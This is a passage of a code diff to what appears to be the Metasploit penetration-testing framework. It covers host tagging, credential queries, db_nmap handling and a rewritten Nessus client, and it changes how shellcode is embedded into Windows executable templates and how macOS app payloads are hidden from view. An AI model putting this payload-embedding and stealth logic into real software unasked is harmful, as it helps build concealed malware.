Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name) + found_tags.each do |t| + tag_ids << t.id + end + end + end + end + + tag_ids.each do |id| + tag = Mdm::Tag.find_by_id(id) + tag.hosts.delete + tag.destroy + end + end + def cmd_hosts(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { onlyup = false set_rhosts = false - mode = :search + mode = [] delete_count = 0 rhosts = [] @@ -229,7 +325,8 @@ class Db output = nil default_columns = ::Mdm::Host.column_names.sort - virtual_columns = [ 'svcs', 'vulns', 'workspace' ] + default_columns << 'tags' # Special case + virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ] col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments'] @@ -237,9 +334,9 @@ class Db while (arg = args.shift) case arg when '-a','--add' - mode = :add + mode << :add when '-d','--delete' - mode = :delete + mode << :delete when '-c' list = args.shift if(!list) @@ -262,7 +359,18 @@ class Db set_rhosts = true when '-S', '--search' search_term = /#{args.shift}/nmi - + when '-i', '--info' + mode << :new_info + info_data = args.shift + when '-n', '--name' + mode << :new_name + name_data = args.shift + when '-m', '--comment' + mode << :new_comment + comment_data = args.shift + when '-t', '--tag' + mode << :tag + tag_name = args.shift when '-h','--help' print_line "Usage: hosts [ options ] [addr1 addr2 ...]" print_line @@ -275,6 +383,10 @@ class Db print_line " -o <file> Send output to a file in csv format" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line " -S,--search Search string to filter by" + print_line " -i,--info Change the info of a host" + print_line " -n,--name Change the name of a host" + print_line " -m,--comment Change the comment of a host" + print_line " -t,--tag Add or specify a tag to a range of hosts" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line @@ -293,7 +405,9 @@ class Db col_names = default_columns + virtual_columns end - if mode == :add + mode << :search if mode.empty? + + if mode == [:add] host_ranges.each do |range| range.each do |address| host = framework.db.find_or_create_host(:host => address) @@ -313,11 +427,41 @@ class Db # Sentinal value meaning all host_ranges.push(nil) if host_ranges.empty? + case + when mode == [:new_info] + change_host_info(host_ranges, info_data) + return + when mode == [:new_name] + change_host_name(host_ranges, name_data) + return + when mode == [:new_comment] + change_host_comment(host_ranges, comment_data) + return + when mode == [:tag] + begin + add_host_tag(host_ranges, tag_name) + rescue ::Exception => e + if e.message.include?('Validation failed') + print_error(e.message) + else + raise e + end + end + return + when mode.include?(:tag) && mode.include?(:delete) + delete_host_tag(host_ranges, tag_name) + return + end + each_host_range_chunk(host_ranges) do |host_search| framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host| if search_term - next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } + next unless ( + host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } || + !Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty? + ) end + columns = col_names.map do |n| # Deal with the special cases if virtual_columns.include?(n) @@ -325,6 +469,11 @@ class Db when "svcs"; host.services.length when "vulns"; host.vulns.length when "workspace"; host.workspace.name + when "tags" + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") + tag_names = [] + found_tags.each { |t| tag_names << t.name } + found_tags * ", " end # Otherwise, it's just an attribute else @@ -337,7 +486,7 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end - if mode == :delete + if mode == [:delete] host.destroy delete_count += 1 end @@ -670,12 +819,15 @@ class Db print_line "General options" print_line " -h,--help Show this help information" print_line " -o <file> Send output to a file in csv format" + print_line " -d Delete one or more credentials" print_line print_line "Filter options for listing" print_line " -P,--password <regex> List passwords that match this regex" print_line " -p,--port <portspec> List creds with logins on services matching this port spec" print_line " -s <svc names> List creds matching comma-separated service names" print_line " -u,--user <regex> List users that match this regex" + print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line print_line "Examples, listing:" @@ -683,6 +835,7 @@ class Db print_line " creds 1.2.3.4/24 # nmap host specification" print_line " creds -p 22-25,445 # nmap port specification" print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" + print_line " creds -t ntlm # All NTLM creds" print_line print_line @@ -694,6 +847,11 @@ class Db print_line " # Add a user with an SSH key" print_line " creds add-ssh-key root /root/.ssh/id_rsa" print_line + + print_line "Example, deleting:" + print_line " # Delete all SMB credentials" + print_line " creds -d -s smb" + print_line end # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential` @@ -760,6 +918,9 @@ class Db host_ranges = [] port_ranges = [] svcs = [] + rhosts = [] + + set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] @@ -806,6 +967,8 @@ class Db end when "-d" mode = :delete + when '-R', '--rhosts' + set_rhosts = true else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -815,11 +978,19 @@ class Db end # If we get here, we're searching. Delete implies search - if user - user_regex = Regexp.compile(user) - end - if pass - pass_regex = Regexp.compile(pass) + + if ptype + type = case ptype + when 'password' + Metasploit::Credential::Password + when 'hash' + Metasploit::Credential::PasswordHash + when 'ntlm' + Metasploit::Credential::NTLMHash + else + print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}") + return + end end # normalize @@ -833,26 +1004,51 @@ class Db tbl = Rex::Ui::Text::Table.new(tbl_opts) ::ActiveRecord::Base.connection_pool.with_connection { - query = Metasploit::Credential::Core.where( - workspace_id: framework.db.workspace, - ) + query = Metasploit::Credential::Core.where( workspace_id: framework.db.workspace ) + query = query.includes(:private, :public, :logins) + query = query.includes(logins: [ :service, { service: :host } ]) - query.each do |core| + if type.present? + query = query.where(metasploit_credential_privates: { type: type }) + end - # Exclude creds that don't match the given user - if user_regex.present? && !core.public.username.match(user_regex) + if svcs.present? + query = query.where(Mdm::Service[:name].in(svcs)) + end + + if ports.present? + query = query.where(Mdm::Service[:port].in(ports)) + end + + if user.present? + # If we have a user regex, only include those that match + query = query.where('"metasploit_credential_publics"."username" ~* ?', user) + end + + if pass.present? + # If we have a password regex, only include those that match + query = query.where('"metasploit_credential_privates"."data" ~* ?', pass) + end + + if host_ranges.any? || ports.any? || svcs.any? + # Only find Cores that have non-zero Logins if the user specified a + # filter based on host, port, or service name + query = query.where(Metasploit::Credential::Login[:id].not_eq(nil)) + end + + query.find_each do |core| + + # Exclude non-blank username creds if that's what we're after + if user == "" && core.public && !(core.public.username.blank?) next end - # Exclude creds that don't match the given pass - if pass_regex.present? && !core.private.data.match(pass_regex) + # Exclude non-blank password creds if that's what we're after + if pass == "" && core.private && !(core.private.data.blank?) next end if core.logins.empty? - # Skip cores that don't have any logins if the user specified a - # filter based on host, port, or service name - next if host_ranges.any? || ports.any? || svcs.any? tbl << [ "", # host @@ -864,13 +1060,6 @@ class Db ] else core.logins.each do |login| - if svcs.present? && !svcs.include?(login.service.name) - next - end - - if ports.present? && !ports.include?(login.service.port) - next - end # If none of this Core's associated Logins is for a host within # the user-supplied RangeWalker, then we don't have any reason to @@ -880,6 +1069,7 @@ class Db next end row = [ login.service.host.address ] + rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" else @@ -908,7 +1098,8 @@ class Db ::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) } print_status("Wrote creds to #{output_file}") end - + + set_rhosts_from_addrs(rhosts.uniq) if set_rhosts print_status("Deleted #{delete_count} creds") if delete_count > 0 } end @@ -1138,7 +1329,7 @@ class Db end def make_sortable(input) - case input.class + case input when String input = input.downcase when Fixnum @@ -1292,7 +1483,7 @@ class Db # Handle hostless loot if host_ranges.compact.empty? # Wasn't a host search - hostless_loot = framework.db.loots.find_all_by_host_id(nil) + hostless_loot = framework.db.loots.where(host_id: nil) hostless_loot.each do |loot| row = [] row.push("") @@ -1548,11 +1739,18 @@ class Db print_status("Usage: db_nmap [nmap options]") return end - save = false - if args.include?("save") - save = active? - args.delete("save") + arguments = [] + while (arg = args.shift) + case arg + when 'save' + save = active? + when '--help', '-h' + cmd_db_nmap_help + return + else + arguments << arg + end end nmap = @@ -1575,15 +1773,15 @@ class Db # Custom function needed because cygpath breaks on 8.3 dirs tout = Rex::Compat.cygwin_to_win32(fd.path) fout = Rex::Compat.cygwin_to_win32(fo.path) - args.push('-oX', tout) - args.push('-oN', fout) + arguments.push('-oX', tout) + arguments.push('-oN', fout) else - args.push('-oX', fd.path) - args.push('-oN', fo.path) + arguments.push('-oX', fd.path) + arguments.push('-oN', fo.path) end begin - nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args) + nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments) temp_nmap_threads = [] temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1| np_1.each_line do |nmap_out| @@ -1616,6 +1814,45 @@ class Db } end + def cmd_db_nmap_help + nmap = + Rex::FileUtils.find_full_path('nmap') || + Rex::FileUtils.find_full_path('nmap.exe') + + stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') + + stdout.each_line do |out_line| + next if out_line.strip.empty? + print_status(out_line.strip) + end + + stderr.each_line do |err_line| + next if err_line.strip.empty? + print_error(err_line.strip) + end + end + + def cmd_db_nmap_tabs(str, words) + nmap = + Rex::FileUtils.find_full_path('nmap') || + Rex::FileUtils.find_full_path('nmap.exe') + + stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') + tabs = [] + stdout.each_line do |out_line| + if out_line.strip.starts_with?('-') + tabs.push(out_line.strip.split(':').first) + end + end + + stderr.each_line do |err_line| + next if err_line.strip.empty? + print_error(err_line.strip) + end + + tabs + end + # # Store some locally-generated data as a file, similiar to store_loot. # @@ -1641,12 +1878,12 @@ class Db return if not db_check_driver if framework.db.connection_established? - cdb = "" - ::ActiveRecord::Base.connection_pool.with_connection { |conn| - if conn.respond_to? :current_database + cdb = '' + ::ActiveRecord::Base.connection_pool.with_connection do |conn| + if conn.respond_to?(:current_database) cdb = conn.current_database end - } + end print_status("#{framework.db.driver} connected to #{cdb}") else print_status("#{framework.db.driver} selected, no connection") @@ -1660,6 +1897,17 @@ class Db def cmd_db_connect(*args) return if not db_check_driver + if args[0] != '-h' && framework.db.connection_established? + cdb = '' + ::ActiveRecord::Base.connection_pool.with_connection do |conn| + if conn.respond_to?(:current_database) + cdb = conn.current_database + end + end + print_error("#{framework.db.driver} already connected to #{cdb}") + print_error('Run db_disconnect first if you wish to connect to a different database') + return + end if (args[0] == "-y") if (args[1] and not ::File.exists? ::File.expand_path(args[1])) print_error("File not found") diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 51c124055e..4d3fba0d8f 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -121,18 +121,12 @@ class Exploit raise $! rescue ::Exception => e print_error("Exploit exception (#{mod.refname}): #{e.class} #{e}") - - elog("Exploit exception (#{mod.refname}): #{e.class} #{e}", 'core', LEV_0) - - if e.kind_of?(Msf::OptionValidateError) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else + if(e.class.to_s != 'Msf::OptionValidateError') print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple/ print_error(" #{line}") end - elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) end end diff --git a/lib/msf/ui/console/command_dispatcher/post.rb b/lib/msf/ui/console/command_dispatcher/post.rb index cc3eddd185..8ea990a66d 100644 --- a/lib/msf/ui/console/command_dispatcher/post.rb +++ b/lib/msf/ui/console/command_dispatcher/post.rb @@ -122,18 +122,12 @@ class Post print_error("Post interrupted by the console user") rescue ::Exception => e print_error("Post failed: #{e.class} #{e}") - - elog("Post failed: #{e.class} #{e}", 'core', LEV_0) - - if e.kind_of?(Msf::OptionValidateError) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else + if (e.class.to_s != 'Msf::OptionValidateError') print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple/ print_error(" #{line}") end - elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) end return false @@ -160,3 +154,4 @@ class Post end end end end end + diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 6f9f1cc064..d4d7b30953 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -235,7 +235,8 @@ class Driver < Msf::Ui::Driver # Process any resource scripts if opts['Resource'].blank? # None given, load the default - load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc')) + default_resource = ::File.join(Msf::Config.config_directory, 'msfconsole.rc') + load_resource(default_resource) if ::File.exists?(default_resource) else opts['Resource'].each { |r| load_resource(r) @@ -417,8 +418,15 @@ class Driver < Msf::Ui::Driver # @param path [String] Path to a resource file to run # @return [void] def load_resource(path) - return if not ::File.readable?(path) - resource_file = ::File.read(path) + if path == '-' + resource_file = $stdin.read + path = 'stdin' + elsif ::File.exists?(path) + resource_file = ::File.read(path) + else + print_error("Cannot find resource script: #{path}") + return + end self.active_resource = resource_file @@ -719,7 +727,7 @@ protected if opts['RealReadline'] # Remove the gem version from load path to be sure we're getting the # stdlib readline. - gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir + gem_dir = Gem::Specification.find_all_by_name('rb-readline-r7').first.gem_dir rb_readline_path = File.join(gem_dir, "lib") index = $LOAD_PATH.index(rb_readline_path) # Bundler guarantees that the gem will be there, so it should be safe to diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ed01ea0334..e4ae8f3cd9 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -18,6 +18,7 @@ require 'rex/zip' require 'metasm' require 'digest/sha1' require 'msf/core/exe/segment_injector' +require 'msf/core/exe/segment_appender' ## # @@ -182,12 +183,8 @@ require 'msf/core/exe/segment_injector' payload = win32_rwx_exec(code) # Create a new PE object and run through sanity checks - fsize = File.size(opts[:template]) pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - text = nil - pe.sections.each {|sec| text = sec if sec.name == ".text"} - #try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ @@ -198,6 +195,9 @@ require 'msf/core/exe/segment_injector' return injector.generate_pe end + text = nil + pe.sections.each {|sec| text = sec if sec.name == ".text"} + raise RuntimeError, "No .text section found in the template" unless text unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) @@ -205,12 +205,15 @@ require 'msf/core/exe/segment_injector' end p_length = payload.length + 256 + + # If the .text section is too small, append a new section instead if text.size < p_length - fname = ::File.basename(opts[:template]) - msg = "The .text section for '#{fname}' is too small. " - msg << "Minimum is #{p_length.to_s} bytes, your .text section is " + - "#{text.size.to_s} bytes" - raise RuntimeError, msg + appender = Msf::Exe::SegmentAppender.new({ + :payload => code, + :template => opts[:template], + :arch => :x86 + }) + return appender.generate_pe end # Store some useful offsets @@ -506,7 +509,8 @@ require 'msf/core/exe/segment_injector' def self.to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") - #try to inject code into executable by adding a section without affecting executable behavior + + # Try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ :payload => code, @@ -515,8 +519,17 @@ require 'msf/core/exe/segment_injector' }) return injector.generate_pe end - opts[:exe_type] = :exe_sub - exe_sub_method(code,opts) + + #opts[:exe_type] = :exe_sub + #return exe_sub_method(code,opts) + + # Append a new section instead + appender = Msf::Exe::SegmentAppender.new({ + :payload => code, + :template => opts[:template], + :arch => :x64 + }) + return appender.generate_pe end # Embeds shellcode within a Windows PE file implementing the Windows @@ -734,16 +747,27 @@ require 'msf/core/exe/segment_injector' # @param [Hash] opts the options hash # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) # @option opts [String] :app_name (random) the name of the OSX app + # @option opts [String] :hidden (true) hide the app when it is running # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file # @return [String] zip archive containing an OSX .app directory def self.to_osx_app(exe, opts = {}) - exe_name = opts[:exe_name] || Rex::Text.rand_text_alpha(8) - app_name = opts[:app_name] || Rex::Text.rand_text_alpha(8) - plist_extra = opts[:plist_extra] || '' + exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } + app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } + hidden = opts.fetch(:hidden, true) + plist_extra = opts.fetch(:plist_extra, '') app_name.chomp!(".app") app_name += ".app" + visible_plist = if hidden + %Q| + <key>LSBackgroundOnly</key> + <string>1</string> + | + else + '' + end + info_plist = %Q| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> @@ -754,7 +778,7 @@ require 'msf/core/exe/segment_injector' <key>CFBundleIdentifier</key> <string>com.#{exe_name}.app</string> <key>CFBundleName</key> - <string>#{exe_name}</string> + <string>#{exe_name}</string>#{visible_plist} <key>CFBundlePackageType</key> <string>APPL</string> #{plist_extra} diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb new file mode 100644 index 0000000000..f349be43ca --- /dev/null +++ b/lib/msf/util/payload_cached_size.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- +### +# +# +### + +module Msf +module Util + +# +# The class provides helper methods for verifying and updating the embedded CachedSize +# constant within payload modules. +# + +class PayloadCachedSize + + # Insert a new CachedSize value into the text of a payload module + # + # @param data [String] The source code of a payload module + # @param cached_size [String] The new value for cached_size, which + # which should be either numeric or the string :dynamic + # @return [String] + def self.update_cache_constant(data, cached_size) + data. + gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, ''). + gsub(/^(module Metasploit\d+)\s*\n/) do |m| + "#{m.strip}\n\n CachedSize = #{cached_size}\n\n" + end + end + + # Insert a new CachedSize value into a payload module file + # + # @param mod [Msf::Payload] The class of the payload module to update + # @param cached_size [String] The new value for cached_size, which + # which should be either numeric or the string :dynamic + # @return [void] + def self.update_cached_size(mod, cached_size) + mod_data = "" + + ::File.open(mod.file_path, 'rb') do |fd| + mod_data = fd.read(fd.stat.size) + end + + ::File.open(mod.file_path, 'wb') do |fd| + fd.write update_cache_constant(mod_data, cached_size) + end + end + + # Updates the payload module specified with the current CachedSize + # + # @param mod [Msf::Payload] The class of the payload module to update + # @return [void] + def self.update_module_cached_size(mod) + update_cached_size(mod, compute_cached_size(mod)) + end + + # Calculates the CachedSize value for a payload module + # + # @param mod [Msf::Payload] The class of the payload module to update + # @return [Fixnum] + def self.compute_cached_size(mod) + return ":dynamic" if is_dynamic?(mod) + return mod.new.size + end + + # Determines whether a payload generates a static sized output + # + # @param mod [Msf::Payload] The class of the payload module to update + # @param generation_count [Fixnum] The number of iterations to use to + # verify that the size is static. + # @return [Fixnum] + def self.is_dynamic?(mod,generation_count=5) + [*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1 + end + + # Determines whether a payload's CachedSize is up to date + # + # @param mod [Msf::Payload] The class of the payload module to update + # @return [Boolean] + def self.is_cached_size_accurate?(mod) + return true if mod.dynamic_size? + return false if mod.cached_size.nil? + mod.cached_size == mod.new.size + end + +end + +end +end diff --git a/lib/nessus/nessus-xmlrpc.rb b/lib/nessus/nessus-xmlrpc.rb index c6ac670869..58e48e15c0 100644 --- a/lib/nessus/nessus-xmlrpc.rb +++ b/lib/nessus/nessus-xmlrpc.rb @@ -1,811 +1,308 @@ -# -# = nessus-xmlrpc.rb: communicate with Nessus(4.2+) over XML RPC interface -# -# Author:: Vlatko Kosturjak -# -# (C) Vlatko Kosturjak, Kost. Distributed under GPL and BSD license (dual). -# -# == What is this library? -# -# This library is used for communication with Nessus over XML RPC interface. -# You can start, stop, pause and resume scan. Watch progress and status of scan, -# download report, etc. -# -# == Requirements -# -# Required libraries are standard Ruby libraries: uri, net/https and rexml/document. -# -# == Usage: -# -# require 'nessus-xmlrpc' -# n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# if n.logged_in -# id,name = n.policy_get_first -# puts "using policy ID: " + id + " with name: " + name -# uid=n.scan_new(id,"textxmlrpc","127.0.0.1") -# puts "status: " + n.scan_status(uid) -# while not n.scan_finished(uid) -# sleep 10 -# end -# content=n.report_file_download(uid) -# File.open('report.xml', 'w') {|f| f.write(content) } -# end +require 'net/http' -require 'uri' -require 'net/https' -require 'rexml/document' - -# NessusXMLRPC module -# -# Usage: -# -# require 'nessus-xmlrpc' -# n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); -# if n.logged_in -# id,name = n.policy_get_first -# uid=n.scan_new(id,"textxmlrpc","127.0.0.1") -# puts "status: " + n.scan_status(uid) -# end -# -# Check NessusXMLRPCrexml for description of methods implemented -# (for both NessusXMLRPCnokogiri and NessusXMLRPCrexml). - -module NessusXMLRPC - - # Class which uses standard REXML to parse nessus XML RPC replies. - class NessusXMLRPC - # initialize object: try to connect to Nessus Scanner using URL, user and password - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - def initialize(url,user,password) - if url == '' - @nurl="https://localhost:8834/" - else - if url =~ /\/$/ - @nurl=url - else - @nurl=url + "/" - end - end - @token='' - #login(user,password) +module Nessus + class Client + class << self + @connection + @token end - - # checks if we're logged in correctly - # - # returns: true if logged in, false if not - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # puts "Logged in" - # else - # puts "Error" - # end - - def logged_in - if @token == '' - return false + + def initialize(host, username = nil, password = nil, ssl_option = nil) + uri = URI.parse(host) + @connection = Net::HTTP.new(uri.host, uri.port) + @connection.use_ssl = true + if ssl_option == "ssl_verify" + @connection.verify_mode = OpenSSL::SSL::VERIFY_PEER else + @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + + yield @connection if block_given? + authenticate(username, password) if username && password + end + + def authenticate(username, password) + payload = { + :username => username, + :password => password, + :json => 1 + } + res = http_post(:uri=>"/session", :data=>payload) + if res['token'] + @token = "token=#{res['token']}" return true - end - end - - # send standard Nessus XML request and check - # - # returns: rexml/document root - def nessus_request(uri, post_data) - body=nessus_http_request(uri, post_data) - # puts response.body - docxml = REXML::Document.new(body) - begin - status = docxml.root.elements['status'].text - rescue - puts("Error connecting/logging to the server!") - return - end - if status == "OK" - return docxml else - return '' + false end end - # send standard Nessus HTTP request and check - # - # returns: body of response - def nessus_http_request(uri, post_data) - url = URI.parse(@nurl + uri) - request = Net::HTTP::Post.new( url.path ) - request.set_form_data( post_data ) - if not defined? @https - @https = Net::HTTP.new( url.host, url.port ) - @https.use_ssl = true - @https.verify_mode = OpenSSL::SSL::VERIFY_NONE + def x_cookie + {'X-Cookie'=>@token} + end + + alias_method :login, :authenticate + + def authenticated + if (@token && @token.include?('token=')) + return true + else + return false end - # puts request - begin - response = @https.request( request ) - rescue - puts("error connecting to server: #{@nurl} with URI: #{uri}") - exit - end - # puts response.body - return response.body + end + + def get_server_properties + http_get(:uri=>"/server/properties", :fields=>x_cookie) end - # login with user & password and sets object-wide @token, @name and @admin - def login(user, password) - post = { "login" => user, "password" => password } - docxml=nessus_request('login', post) - if docxml == '' - @token='' - else - @token = docxml.root.elements['contents'].elements['token'].text - @name = docxml.root.elements['contents'].elements['user'].elements['name'].text - @admin = docxml.root.elements['contents'].elements['user'].elements['admin'].text - # puts "Got token:" + @token - return @token - end + def user_add(username, password, permissions, type) + payload = { + :username => username, + :password => password, + :permissions => permissions, + :type => type, + :json => 1 + } + http_post(:uri=>"/users", :fields=>x_cookie, :data=>payload) + end + def user_delete(user_id) + res = http_delete(:uri=>"/users/#{user_id}", :fields=>x_cookie) + return res.code end - - #checks to see if the user is an admin + + def user_chpasswd(user_id, password) + payload = { + :password => password, + :json => 1 + } + res = http_put(:uri=>"/users/#{user_id}/chpasswd", :data=>payload, :fields=>x_cookie) + return res.code + end + + def user_logout + res = http_delete(:uri=>"/session", :fields=>x_cookie) + return res.code + end + + def list_policies + http_get(:uri=>"/policies", :fields=>x_cookie) + end + + def list_users + http_get(:uri=>"/users", :fields=>x_cookie) + end + + def list_folders + http_get(:uri=>"/folders", :fields=>x_cookie) + end + + def list_scanners + http_get(:uri=>"/scanners", :fields=>x_cookie) + end + + def list_families + http_get(:uri=>"/plugins/families", :fields=>x_cookie) + end + + def list_plugins(family_id) + http_get(:uri=>"/plugins/families/#{family_id}", :fields=>x_cookie) + end + + def list_template(type) + res = http_get(:uri=>"/editor/#{type}/templates", :fields=>x_cookie) + end + + def plugin_details(plugin_id) + http_get(:uri=>"/plugins/plugin/#{plugin_id}", :fields=>x_cookie) + end + def is_admin - if @admin == "TRUE" - return true - end - return false - end - - # initiate new scan with policy id, descriptive name and list of targets - # - # returns: uuid of scan - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # id,name = n.policy_get_first - # puts "using policy ID: " + id + " with name: " + name - # uid=n.scan_new(id,"textxmlrpc","127.0.0.1") - # end - def scan_new(policy_id,scan_name,target) - post= { "token" => @token, "policy_id" => policy_id, "scan_name" => scan_name, "target" => target } - docxml=nessus_request('scan/new', post) - if docxml == '' - return '' - else - uuid=docxml.root.elements['contents'].elements['scan'].elements['uuid'].text - return uuid - end - end - - # get uids of scans - # - # returns: array of uids of active scans - def scan_list_uids - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - uuids=Array.new - docxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| uuids.push(scan.elements['uuid'].text) } - return uuids - end - - # get hash of active scan data - # - # returns: array of hash of active scans - def scan_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - scans=Array.new - docxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| - entry=Hash.new - entry['id']=scan.elements['uuid'].text if scan.elements['uuid'] - entry['name']=scan.elements['readableName'].text if scan.elements['readableName'] - entry['owner']=scan.elements['owner'].text if scan.elements['owner'] - entry['start']=scan.elements['start_time'].text if scan.elements['start_time'] - entry['status']=scan.elements['status'].text if scan.elements['status'] - entry['current']=scan.elements['completion_current'].text if scan.elements['completion_current'] - entry['total']=scan.elements['completion_total'].text if scan.elements['completion_total'] - scans.push(entry) - } - return scans - end - - def template_list_hash - post= { "token" => @token } - docxml = nessus_request('scan/list', post) - templates = Array.new - docxml.elements.each('/reply/contents/templates/template') { |template| - entry=Hash.new - entry['name']=template.elements['name'].text if template.elements['name'] - entry['pid']=template.elements['policy_id'].text if template.elements['policy_id'] - entry['rname']=template.elements['readableName'].text if template.elements['readableName'] - entry['owner']=template.elements['owner'].text if template.elements['owner'] - entry['target']=template.elements['target'].text if template.elements['target'] - templates.push(entry) - } - return templates - end - - # get hash of policies - # - # returns: array of hash of policies - def policy_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('scan/list', post) - if docxml.nil? - return - end - policies=Array.new - docxml.elements.each('/reply/contents/policies/policies/policy') { |policy| - entry=Hash.new - entry['id']=policy.elements['policyID'].text if policy.elements['policyID'] - entry['name']=policy.elements['policyName'].text if policy.elements['policyName'] - entry['comment']=policy.elements['policyComments'].text if policy.elements['policyComments'] - policies.push(entry) - } - return policies - end - - # get hash of reportss - # - # returns: array of hash of templates - def report_list_hash - post= { "token" => @token } - docxml = nil - docxml=nessus_request('report/list', post) - if docxml.nil? - return - end - #puts docxml - reports=Array.new - docxml.root.elements['contents'].elements['reports'].each_element('//report') {|report| - entry=Hash.new - entry['id']=report.elements['name'].text if report.elements['name'] - entry['name']=report.elements['readableName'].text if report.elements['readableName'] - entry['status']=report.elements['status'].text if report.elements['status'] - entry['timestamp']=report.elements['timestamp'].text if report.elements['timestamp'] - reports.push(entry) - } - return reports - end - - # get policy by textname and return policyID - # - # returns: policyID - def policy_get_id(textname) - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - if policy.elements['policyName'].text == textname - return policy.elements['policyID'].text - end - } - return '' - end - - # get first policy from server and returns: policyID, policyName - # - # returns: policyID, policyName - def policy_get_first - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - return policy.elements['policyID'].text, policy.elements['policyName'].text - } - end - - # get list of policy IDs - # - # returns: array of all policy uids - def policy_list_uids - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - pids=Array.new - docxml.root.elements['contents'].elements['policies'].each_element('//policy') { |policy| - pids.push(policy.elements['policyID'].text) } - return pids - end - - # stop scan identified by scan_uuid - def scan_stop(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/stop', post) - if docxml.nil? - return - end - return docxml - end - - # stop all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_stop_all - # end - def scan_stop_all - b=scan_list_uids - b.each {|uuid| - 